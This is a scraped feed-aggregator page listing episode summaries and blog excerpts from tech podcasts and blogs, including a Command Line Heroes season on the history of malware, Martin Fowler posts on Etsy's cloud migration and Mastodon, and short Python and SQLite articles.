Our show is all about heroes making great strides in technology. But in InfoSec, not every hero expects to ride off into the sunset. In our series finale, we tackle vulnerability scans, how sharing information can be a powerful tool against cyber crime, and why it’s more important than ever for cybersecurity to have more people, more eyes, and more voices, in the fight.Wietse Venema gives us the story of SATAN, and how it didn’t destroy the world as expected. Maitreyi Sistla tells us how representation helps coders build things that work for everyone. And Mary Chaney shines a light on how hiring for a new generation can prepare us for a bold and brighter future.If you want to read up on som…

6 месяцев назад @ redhat.com
Invisible Intruders
Invisible Intruders Invisible Intruders

What began as a supposed accounting error landed Cliff Stoll in the midst of database intrusions, government organizations, and the beginnings of a newer threat—cyber-espionage. This led the eclectic astronomer-cum-systems administrator to create what we know today as intrusion detection. And it all began at a time when people didn’t understand the importance of cybersecurity. This is a story that many in the infosec community have already heard, but the lessons from Stoll’s journey are still relevant. Katie Hafner gives us the background on this unbelievable story. Richard Bejtlich outlines the “honey pot” that finally cracked open the international case. And Don Cavender discusses the imp…

6 месяцев, 2 недели назад @ redhat.com
Ruthless Ransomers
Ruthless Ransomers Ruthless Ransomers

It’s a strange situation when someone can hold something hostage from halfway around the world. It’s tragic when your own pictures and files are remotely encrypted. But when it’s a hospital’s system? Ransomware becomes a problem about life or death. Eddy Willems recounts his involvement in defeating an early ransomware attack that targeted AIDS researchers. At the time, there was a way to discover the encryption key. But as Moti Yung warned, asymmetric encryption would change everything. In the years since, ransomware attacks have become much more popular—thanks in part to the rise of cryptocurrencies. While criminals think it’s an anonymous way to collect payment, Sheila Warren tells us th…

7 месяцев назад @ redhat.com
Menace in the Middle
Menace in the Middle Menace in the Middle

All communication leaves the possibility for crossed wires. And as we become more connected, there’s a chance for those with ill intentions to steal our information and meddle in our daily lives—with devastating results. Smriti Bhatt breaks down the complexity behind machine-in-the-middle attacks. Johannes Ullrich tells us why we shouldn’t always trust that free WiFi. And the “father of SSL” Taher Elgamal notes that while cryptography can address the increasingly sophisticated nature of malware, there are no safe bets in security.If you want to read up on some of our research on machine in the middle attacks, you can check out all our bonus material over at redhat.com/commandlineheroes.Foll…

7 месяцев, 2 недели назад @ redhat.com
Dawn of the Botnets
Dawn of the Botnets Dawn of the Botnets

Overwhelming numbers are scary—even in the best of circumstances. You can plan for them, build up your defenses, and do everything imaginable to prepare. But when that horde of zombies hits, their sheer numbers can still cause devastation. Botnets are digital zombie hordes. Jamie Tomasello recounts the scale of the Bredolab botnet—and the many malicious kinds of missions it carried out. Martijn Grooten explains how botnets work, and why they can be so difficult to permanently dismantle. And Darren Mott shares some of the successes the FBI had in rounding up some of the world’s most prolific bot herders.If you want to read up on some of our research on botnets, you can check out all our bonu…

8 месяцев назад @ redhat.com
Lurking Logic Bombs
Lurking Logic Bombs Lurking Logic Bombs

Logic bombs rarely have warning sounds. The victims mostly don’t know to expect one. And even when a logic bomb is discovered before it’s triggered, there isn’t always enough time to defuse it. But there are ways to stop them in time. Paul Ducklin recounts the race to defuse the CIH logic bomb—and the horrible realization of how widespread it was. Costin Raiu explains how logic bombs get planted, and all the different kinds of damage they can do. And Manuel Egele shares some strategies for detecting logic bombs before their conditions are met.If you want to read up on some of our research on logic bombs, you can check out all our bonus material over at redhat.com/commandlineheroes. Follow a…

8 месяцев, 2 недели назад @ redhat.com
Terrifying Trojans
Terrifying Trojans Terrifying Trojans

Sometimes a fun game, a friendly email, or an innocuous link can be the most convenient place for an enemy to hide. And its prey is none the wiser—until it strikes. The trojan horse uses many layers of deception to do damage. The ingenuity of these attacks keeps an alarming pace with the technology we use every day. But as long as we stick to trusted sites and sources, we can better the odds against those who use our trusting nature against us. Steve Weisman tells us about how trojans still keep security professionals on the defensive. Josephine Wolff details how these attacks have evolved, and keep evolving, to catch victims off guard. And Yanick Franantonio takes on the new frontier for t…

8 месяцев, 4 недели назад @ redhat.com
Relentless Replicants
Relentless Replicants Relentless Replicants

Computer viruses and worms haunt the internet. They worm their way into a system, replicate, and spread again. It’s a simple process—with devastating consequences. But there’s a whole industry of people that rose up to fight back. Craig Schmugar recalls how he and his team responded to MyDoom, one of the fastest-spreading worms ever. Dr. Nur Zincir-Heywood reveals the inner workings of viruses and worms, and how they draw their names from the world of biology. And security expert Mikko Hypponen shares advice on avoiding malware. But he also warns that we’re in an arms race against malware developers.If you want to read up on some of our research on viruses and worms, you can check out all o…

9 месяцев, 1 неделя назад @ redhat.com
Command Line Heroes Season 9: The Horrors of Malware
Command Line Heroes Season 9: The Horrors of Malware Command Line Heroes Season 9: The Horrors of Malware

Malware haunts us all. Viruses, worms, trojan horses, and the harm they do often corrupts the promise of the internet. But the world of computing continues to grow. Though it’s changed us forever, malware hasn’t stopped us from connecting. Season 9 of Command Line Heroes is the culmination of the show. We focus on security and the people who, every day, face the monsters of the digital world. They disinfect computers from viruses, defuse logic bombs, and dismantle botnets. But they can’t do it alone. It’ll take all of us working together to make the world a safer place.The first episode drops February 22, 2022. Subscribe today and sign up for the newsletter to get the latest updates.

9 месяцев, 3 недели назад @ redhat.com
Python Bytes Python Bytes
последний пост 2 дня, 8 часов назад
#312 AI Goes on Trial For Writing Code
#312 AI Goes on Trial For Writing Code 2 дня, 8 часов назад @ pythonbytes.fm
#311 Catching Memory Leaks with ... pytest?
#311 Catching Memory Leaks with ... pytest? 1 неделя назад @ pythonbytes.fm
#310 Calling All Tools for Readmes
#310 Calling All Tools for Readmes 2 недели, 2 дня назад @ pythonbytes.fm
#309 When Malware PoC's are Themselves Malware
#309 When Malware PoC's are Themselves Malware 3 недели, 1 день назад @ pythonbytes.fm
#308 Conference season is heating up
#308 Conference season is heating up 1 месяц назад @ pythonbytes.fm
#307 Your Python just got faster (3.11 is out!)
#307 Your Python just got faster (3.11 is out!) 1 месяц назад @ pythonbytes.fm
#306 Some Fun pytesting Tools
#306 Some Fun pytesting Tools 1 месяц, 1 неделя назад @ pythonbytes.fm
#305 Decorators need love too
#305 Decorators need love too 1 месяц, 2 недели назад @ pythonbytes.fm
#304 Build your own text adventure language in Python
#304 Build your own text adventure language in Python 1 месяц, 3 недели назад @ pythonbytes.fm
#303 This title is required or is it optional?
#303 This title is required or is it optional? 2 месяца назад @ pythonbytes.fm
#302 The Blue Shirt Episode
#302 The Blue Shirt Episode 2 месяца, 1 неделя назад @ pythonbytes.fm
#301 PyTorch Grows Up and Moves Out
#301 PyTorch Grows Up and Moves Out 2 месяца, 2 недели назад @ pythonbytes.fm
#300 A Jupyter merge driver for git
#300 A Jupyter merge driver for git 2 месяца, 3 недели назад @ pythonbytes.fm
#299 Will McGugan drops by
#299 Will McGugan drops by 2 месяца, 4 недели назад @ pythonbytes.fm
#298 "Unstoppable" Python
#298 "Unstoppable" Python 3 месяца, 1 неделя назад @ pythonbytes.fm
Software Engineering Daily Software Engineering Daily
последний пост 1 день, 13 часов назад
Modernizing the Monolith with Moti Rafalin and Amir Rapson
Modernizing the Monolith with Moti Rafalin and Amir Rapson

Java Applications became the go-to preference of most developers because of the write-once-run-anywhere advantage it gave over other languages. And it didn’t take much time for Java to become the language for the enterprise. Consequently, most enterprises are still running legacy Java Monoliths on their infrastructure. Breaking up a monolith is not an easy process–nor

The post Modernizing the Monolith with Moti Rafalin and Amir Rapson appeared first on Software Engineering Daily.

1 день, 13 часов назад @ softwareengineeringdaily.com
Cloud-native WebAssembly with Matt Butcher
Cloud-native WebAssembly with Matt Butcher

When Web Assembly was created it was supposed to be a compile target, where you could compile your favorite programming language and then execute it inside of a web browser. This made it possible for developers to choose a programming language like C++ for compute intensive applications. Fermyon is taking Web Assembly to the cloud.

The post Cloud-native WebAssembly with Matt Butcher appeared first on Software Engineering Daily.

5 дней, 10 часов назад @ softwareengineeringdaily.com
VMware Tanzu with Betty Junod
VMware Tanzu with Betty Junod

If you are a company with a large pool of physical servers, and compute resources sitting in the data center, and you want to use them efficiently, one way to do that would be to virtualize them. Then you can use those smaller virtual compute resources to run whatever workloads you need. VMware is a

The post VMware Tanzu with Betty Junod appeared first on Software Engineering Daily.

1 неделя, 6 дней назад @ softwareengineeringdaily.com
Secure Workflows on Sensitive Data with Amruta Moktali
Secure Workflows on Sensitive Data with Amruta Moktali

With an increasing number of data breaches impacting customer trust, prioritizing data privacy and security is more important than ever. However, as you layer on security and privacy, the overall complexity of a system grows and the data gets harder to use. There’s a constant push and pull between securing and locking down the data

The post Secure Workflows on Sensitive Data with Amruta Moktali appeared first on Software Engineering Daily.

2 недели, 1 день назад @ softwareengineeringdaily.com
Collaborative Notebooks for DevOps and SRE with Micha Hernandez
Collaborative Notebooks for DevOps and SRE with Micha Hernandez

The complexity of the software infrastructure has been increasing as companies have migrated towards kubernetes, containers, microservices and other distributed systems. However the tools around observability and monitoring have not seen much improvement. These tools are usually managed by teams distributed across different locations and time zones, which results in siloing of knowledge of your

The post Collaborative Notebooks for DevOps and SRE with Micha Hernandez appeared first on Software Engineering Daily.

2 недели, 1 день назад @ softwareengineeringdaily.com
Accessing Data at Scale with Justin Borgman
Accessing Data at Scale with Justin Borgman

The Presto/Trino project makes distributed querying easier across a variety of data sources. As the need for machine learning and other high volume data applications has increased, the need for support, tooling, and cloud infrastructure for Presto/Trino has increased with it. Starburst helps your teams run fast queries on any data source. With Starburst you

The post Accessing Data at Scale with Justin Borgman appeared first on Software Engineering Daily.

2 недели, 6 дней назад @ softwareengineeringdaily.com
Building on the Data Cloud with Torsten Grabs
Building on the Data Cloud with Torsten Grabs

Building and managing data-intensive applications has traditionally been costly and complex, and has placed an operational burden on developers to maintain as their organization scales. Todays’ developers, data scientists, and data engineers need a streamlined, single cloud data platform for building applications, pipelines, and machine learning models — without having to move or copy their

The post Building on the Data Cloud with Torsten Grabs appeared first on Software Engineering Daily.

3 недели, 3 дня назад @ softwareengineeringdaily.com
Cloud Asset Management with Serhat Can
Cloud Asset Management with Serhat Can

Companies are rapidly moving to the cloud, and modern businesses are operating faster with a myriad of SaaS tools in their day-to-day operations. Provisioning resources has been easier than ever. With a few clicks you can spin up resources in any part of the world. While we all love the cloud because of the scalability

The post Cloud Asset Management with Serhat Can appeared first on Software Engineering Daily.

4 недели назад @ softwareengineeringdaily.com
The Cyber Frontier with Mikko Hypponen
The Cyber Frontier with Mikko Hypponen

Mikko Hypponen is the CRO of WithSecure and a principal research Officer at F-Secure. In this interview with our host, Jordy Monn, he discusses the eventful and rocky early start of his software engineering career, hybrid warfare, reverse engineering, recent exploits like Log for Shell and heart bleed and more. This episode is packed with

The post The Cyber Frontier with Mikko Hypponen appeared first on Software Engineering Daily.

1 месяц назад @ softwareengineeringdaily.com
Tao of React with Alex Kondov
Tao of React with Alex Kondov

Sponsorship inquiries: [email protected]

The post Tao of React with Alex Kondov appeared first on Software Engineering Daily.

1 месяц назад @ softwareengineeringdaily.com
Thundra – Lee
Thundra – Lee

The post Thundra – Lee appeared first on Software Engineering Daily.

1 месяц, 1 неделя назад @ softwareengineeringdaily.com
The Quantum Leap with Dmitri Maslov
The Quantum Leap with Dmitri Maslov

The classical computing power has doubled every two years – a pattern known as Moore’s law. However, the ability to fabricate more and more transistors in a computer chip is approaching saturation as we are approaching atomic dimensions. Quantum Computing is a promising technology to take us beyond this. A quantum Computer uses qubits to

The post The Quantum Leap with Dmitri Maslov appeared first on Software Engineering Daily.

1 месяц, 2 недели назад @ softwareengineeringdaily.com
Azul with John Ceccarelli
Azul with John Ceccarelli

The Java Virtual Machine is an abstract machine that makes it possible for you to write Java code once and run it across multiple devices and operating system types. While you can use the OpenJDK it comes with various issues like Security Vulnerabilities and compliance. Azul is a company that specializes in Java for the

The post Azul with John Ceccarelli appeared first on Software Engineering Daily.

1 месяц, 2 недели назад @ softwareengineeringdaily.com
Open Source Authentication with Advait Ruia and Rishabh Poddar
Open Source Authentication with Advait Ruia and Rishabh Poddar

Passwordless Authentication is a technique in which users are given access to an environment without entering a password or answering a security question. This allows users to access an environment securely and protects organizations against attack vectors like Keylogging, Brute force methods, and phishing. The company SuperTokens provides secure login and session management for your

The post Open Source Authentication with Advait Ruia and Rishabh Poddar appeared first on Software Engineering Daily.

1 месяц, 2 недели назад @ softwareengineeringdaily.com
Twisp: Reinventing the ledger with Jarred Ward
Twisp: Reinventing the ledger with Jarred Ward

Monolithic relational databases are the traditional foundation of financial core ledger systems. Nevertheless, the process of building and operating mission-critical ledgers to track and reconcile payments and money movement is complex. Twisp is rethinking core accounting and financial orchestration on a cloud-native ledger system, so developers can stop re-invented the ledger and focus on building

The post Twisp: Reinventing the ledger with Jarred Ward appeared first on Software Engineering Daily.

1 месяц, 3 недели назад @ softwareengineeringdaily.com
Habr Podcasts Habr Podcasts
последний пост 1 неделя, 6 дней назад
Хабр ПРО // Прощай, NFC? Обсуждаем, придут ли QR-коды на смену картам
Хабр ПРО // Прощай, NFC? Обсуждаем, придут ли QR-коды на смену картам Хабр ПРО // Прощай, NFC? Обсуждаем, придут ли QR-коды на смену картам

Давным-давно, на заре эпохи Хэйсэй, Масахиро Хара придумал QR-код — новый формат меток для отслеживания деталей на автомобильном конвейере. Технология оказалась удачной, и спустя 30 лет продолжает проникать в нашу повседневную жизнь. В этом выпуске Хабр ПРО мы обсудили, чем же так удобны QR-коды, какие функции они выполняют в платежных системах и куда могут развиться дальше. Наши гости: → Екатерина Аккузина, руководитель центра развития мобильных платежей, Мир Plat.Form → Игорь Тростников, директор по развитию продуктов СБП, Мир Plat.Form 01:20 Почему технология QR-кодов сейчас так популярна

05:03 Чем технология QR-кодов удобна пользователям

05:36 Как работают платежи с использованием QR-ко…

1 неделя, 6 дней назад @ soundcloud.com
Хабр ПРО // Hello world: две истории о старте в IT
Хабр ПРО // Hello world: две истории о старте в IT Хабр ПРО // Hello world: две истории о старте в IT

Старт карьеры в ИТ похож на гонки на выживание: и там и там цели достигают не все. В этом выпуске — те, кто её достиг. Мы поговорили с Junior-разработчиками о том, как они строили карьеру, что им помогало, а что мешало. Итак, сегодня в нашей виртуальной студии

Толибжон Сохибов из Лаборатории Касперского,

Максим Набиуллин из Московского кредитного банка. 00:56 Почему именно ИТ

02:29 Чувствуется ли разница между теми, кто учит программирование со школы, и теми, кто с ним знакомится позже.

04:33 Нужно ли начинать учиться программированию рано

06:14 Самый сложный барьер при поиске работы

10:08 Откуда ждать помощи в обучении

11:44 Как ощущалась нехватка практического опыта

13:38 Как учат командн…

1 месяц, 1 неделя назад @ soundcloud.com
Хабр ПРО // В чём магия геоданных и как их найти без регистрации и СМС
Хабр ПРО // В чём магия геоданных и как их найти без регистрации и СМС Хабр ПРО // В чём магия геоданных и как их найти без регистрации и СМС

В книгах и фильмах про пиратов всегда были карты сокровищ. В современном мире карты и дополняющие их данные — сокровища сами по себе.

В этом выпуске говорим о геоданных и о том, как разработчики их используют. Завесу тайны над геоданными приоткроют:

Елена Гоголева, начальник управления аналитических исследований и инновационных технологий Промсвязьбанка,

Мария Сакиркина, продуктовый аналитик 2ГИС. 01:05 Где работают с геоданными

02:50 Можно ли считать пиратскую карту Джека Воробья геоданными

03:30 Задачи, в которых помогают геоданные

09:13 Как геоданные помогают выбирать места для магазинов, офисов и банкоматов

10:45 Типовые задачи при работе с данными

15:23 Спасут ли геоданные наш любимый …

1 месяц, 2 недели назад @ soundcloud.com
Хабр ПРО // Охапка дров, деврел готов: как выжать максимум пользы из техноавторства
Хабр ПРО // Охапка дров, деврел готов: как выжать максимум пользы из техноавторства Хабр ПРО // Охапка дров, деврел готов: как выжать максимум пользы из техноавторства

Контент — сложный и часто неблагодарный труд, но что-то толкает людей становиться авторами. И дело не только в амбициях — если бы контент не приносил технарям пользу, постов на Хабре бы на порядок меньше. Так какие бенефиты может выжать хороший автор из своего аккаунта? Стоит ли признаваться работодателю, что в свободное время пишешь о технологиях? И есть ли вариант остаться в разработке, если к написанию кода уже подостыл? Спойлер: есть, становитесь деврелами. 1:00 Наши гости: Елена Кабанец, руководитель HR-бренда Сбера, и Григорий Петров, деврел компании Еврон. 1:15 Путь в деврелы начинается со статей? Личный опыт гостя. 4:40 Как Сбер находит авторов внутри команды и мотивирует их писать …

4 месяца, 2 недели назад @ soundcloud.com
Хабр ПРО // Ретроспектива фронтенда: ностальгируем по jQuery и кроссбраузерности
Хабр ПРО // Ретроспектива фронтенда: ностальгируем по jQuery и кроссбраузерности Хабр ПРО // Ретроспектива фронтенда: ностальгируем по jQuery и кроссбраузерности

Кто-то называет прогресс движением по кругу, кто-то заменой одних неприятностей другими, а кто-то считает его законом природы. В IT это чувствуется особенно сильно — и в этом выпуске мы обсудим, какой путь прошла фронтенд-разработка. Вспомним, когда вообще появился этот термин, что было до него, поностальгируем о кроссбраузерности и узнаем, смог бы senior десятилетней давности сойти сегодня за джуна. Ностальгировали с опытными фронтендерами: Максимом Ореховым, руководителем центра компетенций по разработке веб-приложений в Промсвязьбанке, и Евгением Дмитриевым, руководителем разработки дизайн-системы ivi. Запись онлайна от 07/07. 1:24 Опыт гостей: первое вхождение во фронтэнд. 2:21 Эпоха ве…

4 месяца, 2 недели назад @ soundcloud.com
Хабр ПРО // Фундамент для карьеры: чему учат, что требуют и что действительно нужно
Хабр ПРО // Фундамент для карьеры: чему учат, что требуют и что действительно нужно Хабр ПРО // Фундамент для карьеры: чему учат, что требуют и что действительно нужно

Важен ли вуз для карьеры?.. Однажды в начале 2000-х сисадмин одного регионального оператора связи три дня не мог починить биллинг. Ошибка была очень странной: в некоторых блоках упорно лезла дата 1970-01-01. Сисадмин искал причины повсюду, от формата даты и до взлома, пока не пришёл главный инженер — и не объяснил. Уходя, он посмотрел на окончившего биофак сисадмина, сложил пальцы, сотряс ими и произнёс: «Это база!». Сисадмин был отправлен на курсы — а фраза стала мемной. В этом выпуске мы поговорили о базе. Практика решает, но без теоретического фундамента не достичь высот. Мы обсудили, чего не понимают студенты-технари, с какими навыками студенту идти на первую работу, как совместить её с…

7 месяцев, 1 неделя назад @ soundcloud.com
Мысли и Методы Мысли и Методы
последний пост None
Трёп Себранта Трёп Себранта
последний пост 1 месяц, 1 неделя назад
Два продуктово-технологических итога 2022
Два продуктово-технологических итога 2022 Два продуктово-технологических итога 2022

-=Выпуск 69=- Настал сезон, чтоб оглянуться на уходящий потихоньку год: не хочу длинных списков; порассуждаю о всего лишь двух не столько событиях, сколько процессах, которыми лично мне запомнился пейзаж области высоких технологий в 2022. В рассказе я обещаю ссылки на прошлые подкасты здесь в тему метавселенной (в моем её понимании) и на статьи, где можно посмотреть на генеративную графику ныне модных инструментов и поверхностно сравнить их. Майский рассказ на конференции CodeFest-2022 в Новосибирске Первое здесь — как я её для себя понимал (больше года назад) Как полтора года назад из Мастерской-15 Видео со по текстовым описаниям Аналогичное а не ролика

1 месяц, 1 неделя назад @ sebrant.chat
Саша Ларьяновский: визионер и оптимист EdTech (и не только)
Саша Ларьяновский: визионер и оптимист EdTech (и не только) Саша Ларьяновский: визионер и оптимист EdTech (и не только)

-=Выпуск 68=- Трёп про образование и технологии в нем, про визионерство и немножко про жизнь с давним другом и одним из тех, кто еще с прошлого века строил и продолжает строить интернет в разных местах, в разных компаниях, на разных должностях — но всегда с душой. Ссылки по теме: Упомянутый в разговоре — если хочется его регулярно почитывать

3 месяца, 4 недели назад @ sebrant.chat
Ваня Ямщиков три года спустя
Ваня Ямщиков три года спустя Ваня Ямщиков три года спустя

-=Выпуск 67=- Трёп в своем идеальном виде — про всё на свете, куда язык заведёт: про науку, машинное обучение, генеративное искусство, очеловечивание алгоритмов, климатический кризис и странности наших мозгов. Ссылочки на тему упомянутого в выпуске (и ) Текст Лёши Тихонова Лев Манович

5 месяцев назад @ sebrant.chat
Кому в метавселенной жить хорошо
Кому в метавселенной жить хорошо Кому в метавселенной жить хорошо

-=Выпуск 66=- Аудиоверсия моего открывающего доклада на конференции CodeFest-12 28 мая 2022 в Новосибирске: слегка отредактированная аудиодорожка презентации обрамлена моими уже домашними комментариями. Ссылки по теме: , сооснователями Мастерской-15, исследователями метавселенной Подкаст про то, (пока ее не опошлили)

6 месяцев назад @ sebrant.chat
Неизбежность сложного мира
Неизбежность сложного мира Неизбежность сложного мира

-=Выпуск 65=- Сумбурный треп о том, как квантовая физика сделала возможными современные информационные технологии и привнесла в них свойственные квантовому миру сложности и странности — и всё это еще до появления квантового компьютера, который сложности добавит с избытком. Немного истории науки, немного технооптимизма, немного метавселенной — зимний согревающий коктейль образца 2022 года.

9 месяцев, 3 недели назад @ sebrant.chat
⌨ Coding
Martin Fowler
последний пост 1 час назад
Introducing a product delivery culture at Etsy
Introducing a product delivery culture at Etsy Introducing a product delivery culture at Etsy

To keep up with that demand, they had to scale up infrastructure, product delivery, and talent drastically.

To be able to scale product delivery and bring in some outside expertise, they started looking for a vendor.

Scaling Product Delivery and Discovery Thoughtworks and Etsy formed a cross-functional Product Delivery Culture (PDC) team to analyze the current product delivery process.

Thoughtworks and Etsy formed a cross-functional Product Delivery Culture (PDC) team to analyze the current product delivery and discovery process.

Third, they created a dual-track system, with a design and research team continually working ahead of a delivery team.

1 час назад @ martinfowler.com
Consequences of Etsy's move to the cloud
Consequences of Etsy's move to the cloud Consequences of Etsy's move to the cloud

After an assessment, Mike and his team chose the Google Cloud Platform (GCP) as the cloud partner and started to plan a program to move their many systems onto the cloud.

Using a partner To accelerate their cloud migration, Etsy wanted to bring on outside expertise to help in the adoption of new tooling and technology, such as Terraform, Kubernetes, and Prometheus.

Not surprising to Etsy, after the cloud migration the optimization for the cloud didn’t stop.

With the cloud migration, Etsy could assess the market and leverage third-party tools to reduce operational cost.

Now that they have more experience operating in the cloud, platform teams know where the gaps are and can see where tooling…

2 дня, 1 час назад @ martinfowler.com
Etsy's observability and ML infrastructure teams moving to the cloud
Etsy's observability and ML infrastructure teams moving to the cloud Etsy's observability and ML infrastructure teams moving to the cloud

After an assessment, Mike and his team chose the Google Cloud Platform (GCP) as the cloud partner and started to plan a program to move their many systems onto the cloud.

While the cloud migration was happening, Etsy was growing its business and its team.

Using a partner To accelerate their cloud migration, Etsy wanted to bring on outside expertise to help in the adoption of new tooling and technology, such as Terraform, Kubernetes, and Prometheus.

Not surprising to Etsy, after the cloud migration the optimization for the cloud didn’t stop.

With the cloud migration, Etsy could assess the market and leverage third-party tools to reduce operational cost.

1 неделя, 2 дня назад @ martinfowler.com
Using the cloud to scale Etsy
Using the cloud to scale Etsy Using the cloud to scale Etsy

After an assessment, Mike and his team chose the Google Cloud Platform (GCP) as the cloud partner and started to plan a program to move their many systems onto the cloud.

While the cloud migration was happening, Etsy was growing its business and its team.

Using a partner To accelerate their cloud migration, Etsy wanted to bring on outside expertise to help in the adoption of new tooling and technology, such as Terraform, Kubernetes, and Prometheus.

Not surprising to Etsy, after the cloud migration the optimization for the cloud didn’t stop.

Figure 1: Federated cloud migration

2 недели назад @ martinfowler.com
Using CWs
Using CWs Using CWs

In my case, I don’t need to make this decision since my colleagues in Thoughtworks have set up our own mastodon instance.

My intention at this point is to set up my Mastodon account as an automatic cross-post from my twitter account.

That way any Mastodon user can follow me on Mastodon to see my twitter feed rather than do it via Twitter.

Mastodon servers contain facilities that make it easy to transfer your presence to another Mastodon account.

Mastodon allows longer posts than Twitter, and I’ve seen even longer posts that I assume came from other Fediverse software.

2 недели, 1 день назад @ martinfowler.com
Multiple Mastodon Accounts
Multiple Mastodon Accounts Multiple Mastodon Accounts

Unlike Twitter, Mastodon is a federated system.

In my case, I don’t need to make this decision since my colleagues in Thoughtworks have set up our own mastodon instance.

My intention at this point is to set up my Mastodon account as an automatic cross-post from my twitter account.

That way any Mastodon user can follow me on Mastodon to see my twitter feed rather than do it via Twitter.

My thinking is that I’ll then monitor my Mastodon followers and if enough followers appear, I’ll think about doing something more sophisticated.

3 недели, 1 день назад @ martinfowler.com
Your organization should run its own Mastodon server
Your organization should run its own Mastodon server Your organization should run its own Mastodon server

This is where Mastodon and the Fediverse bring a completely new way to think about social media.

The Fediverse is a network of thousands of servers running some social media software, like Mastodon, a microblogging tool often compared to Twitter.

If you are interested in running your own Mastodon server, there are instructions on the main Mastodon website.

This could be especially useful if the members of your organization need to have a social media presence to do their work.

There are new avenues to explore when an organization offers a social media space to its members.

3 недели, 2 дня назад @ martinfowler.com
An appeal to Americans who aren't inclined to vote in the midterm elections
An appeal to Americans who aren't inclined to vote in the midterm              elections An appeal to Americans who aren't inclined to vote in the midterm elections

This cancer is the fiction that there was significant election interference in the 2020 elections that caused former President Trump to lose.

The evidence that the 2020 elections did not have any material problems is overwhelming.

Despite this, a now-dominant faction of the Republican party continue to claim fraud in the 2020 elections, a lie that undermines the effective working of future elections.

If trust in the election process dies, then we'll see other means used, including violence.

This is why I'm urging those who aren't inclined to vote, to cast a vote to help contain this threat.

4 недели назад @ martinfowler.com
Twitter feed now cross-posts to Mastodon
Twitter feed now cross-posts to Mastodon Twitter feed now cross-posts to Mastodon

Unlike Twitter, Mastodon is a federated system.

In my case, I don’t need to make this decision since my colleagues in Thoughtworks have set up our own mastodon instance.

My intention at this point is to set up my Mastodon account as an automatic cross-post from my twitter account.

That way any Mastodon user can follow me on Mastodon to see my twitter feed rather than do it via Twitter.

My thinking is that I’ll then monitor my Mastodon followers and if enough followers appear, I’ll think about doing something more sophisticated.

4 недели, 1 день назад @ martinfowler.com
Exploring Mastodon
Exploring Mastodon Exploring Mastodon

Unlike Twitter, Mastodon is a federated system.

In my case, I don’t need to make this decision since my colleagues in Thoughtworks have set up our own mastodon instance.

My intention at this point is to set up my Mastodon account as an automatic cross-post from my twitter account.

That way any Mastodon user can follow me on Mastodon to see my twitter feed rather than do it via Twitter.

My thinking is that I’ll then monitor my Mastodon followers and if enough followers appear, I’ll think about doing something more sophisticated.

4 недели, 1 день назад @ martinfowler.com
Bliki: ConwaysLaw
Bliki: ConwaysLaw Bliki: ConwaysLaw

Good software architecture is very context-specific, analyzing trade-offs that resolve differently across a wide range of environments.

But if there is one thing they all agree on, it's the importance and power of Conway's Law.

A dozen or two people can have deep and informal communications, so Conways Law indicates they will create a monolith.

Further Reading Recognizing the importance of Conway's Law means that budding software architects need to think about IT organization design.

Two worthwhile books on this topic are Agile IT Organization Design by Narayan and Team Topologies by Skelton and Pais.

1 месяц, 1 неделя назад @ martinfowler.com
Negotiate a balanced product investment mix
Negotiate a balanced product investment mix Negotiate a balanced product investment mix

Another example that’s common to see is an engineering-led "engineering roadmap" and a product-led "product roadmap" and for the two to be completely independent of each other, leading to confusion for product engineering.

Or conversely, the engineering team continually lets down the product team by missing delivery dates, without warning that this might happen.

Eliminating the wall between Product and Engineering is essential to establishing high performing product teams.

Team Norms: Guidelines, principles, ceremonies, and/or sensible defaults for team members to align on how team members are expected to behave, interact, and make decisions.

It’s critical that these direct managers are ali…

1 месяц, 1 неделя назад @ martinfowler.com
Creating multidisciplinary stream-aligned teams to escape the product-vs-engineering bottleneck
Creating multidisciplinary stream-aligned teams to escape the              product-vs-engineering bottleneck Creating multidisciplinary stream-aligned teams to escape the product-vs-engineering bottleneck

Another example that’s common to see is an engineering-led "engineering roadmap" and a product-led "product roadmap" and for the two to be completely independent of each other, leading to confusion for product engineering.

Or conversely, the engineering team continually lets down the product team by missing delivery dates, without warning that this might happen.

Eliminating the wall between Product and Engineering is essential to establishing high performing product teams.

Team Norms: Guidelines, principles, ceremonies, and/or sensible defaults for team members to align on how team members are expected to behave, interact, and make decisions.

It’s critical that these direct managers are ali…

1 месяц, 2 недели назад @ martinfowler.com
Getting out of the product-v-engineering bottleneck by identifying your "first team"
Getting out of the product-v-engineering bottleneck by identifying              your "first team" Getting out of the product-v-engineering bottleneck by identifying your "first team"

The key to any successful startup is close collaboration between product and engineering.

Engineering might want to build a product that is perfectly scalable for the future with the best developer experience.

Product might want to quickly validate their ideas, and put features out that will entice customers to pay for the product.

Another example that’s common to see is an engineering-led "engineering roadmap" and a product-led "product roadmap" and for the two to be completely independent of each other, leading to confusion for product engineering.

Fortunately, there are some key signs to look for that indicate friction between your product and engineering organizations.

1 месяц, 2 недели назад @ martinfowler.com
Bottleneck #03: Product v Engineering
Bottleneck #03: Product v Engineering Bottleneck #03: Product v Engineering

The key to any successful startup is close collaboration between product and engineering.

Engineering might want to build a product that is perfectly scalable for the future with the best developer experience.

Product might want to quickly validate their ideas, and put features out that will entice customers to pay for the product.

Another example that’s common to see is an engineering-led "engineering roadmap" and a product-led "product roadmap" and for the two to be completely independent of each other, leading to confusion for product engineering.

Fortunately, there are some key signs to look for that indicate friction between your product and engineering organizations.

1 месяц, 3 недели назад @ martinfowler.com
Антон Жиянов Антон Жиянов
последний пост 2 месяца, 3 недели назад
Пользовательские функции в SQLite
Пользовательские функции в SQLite Пользовательские функции в SQLite

Как писать функции на чистом SQL.

2 месяца, 3 недели назад @ antonz.ru
JSON Lines
JSON Lines JSON Lines

На днях оценил формат JSON Lines.

Это такой CSV на стероидах:Например:

3 месяца, 4 недели назад @ antonz.ru
Многозначительное многоточие в Python
Многозначительное многоточие в Python Многозначительное многоточие в Python

Не самая известная штука в Python — многоточие:Это рабочий код.

В питоне ... (он же Ellipsis ) — реальный объект, который можно использовать в коде.

Ellipsis — единственный экземпляр типа EllipsisType (аналогично тому, как None — единственный экземпляр типа NoneType ):Авторы Python в основном используют ... , чтобы показать, что у типа, метода или функции отсутствует реализация — как в примере с fly() .

И в тайп-хинтах:

6 месяцев назад @ antonz.ru
Летающая свинья, или протоколы в Python
Летающая свинья, или протоколы в Python Летающая свинья, или протоколы в Python

Допустим, вы написали утилиту, которая отправляет что угодно в полет:Ну, то есть не прям все что угодно.

Очень удобно — одной функцией запускаем и голубя Френка, и самолет, и даже Супермена:Не то чтобы наши герои особо успешно справлялись с задачей, но запуск на них работает.

Дать понять, что параметр thing в launch() — это не любой объект, а обязательно летающая хреновина с методом fly() .

Если вы привыкли избегать типов, то обойдетесь именем переменной или комментарием к функции:Почему бы и нет.

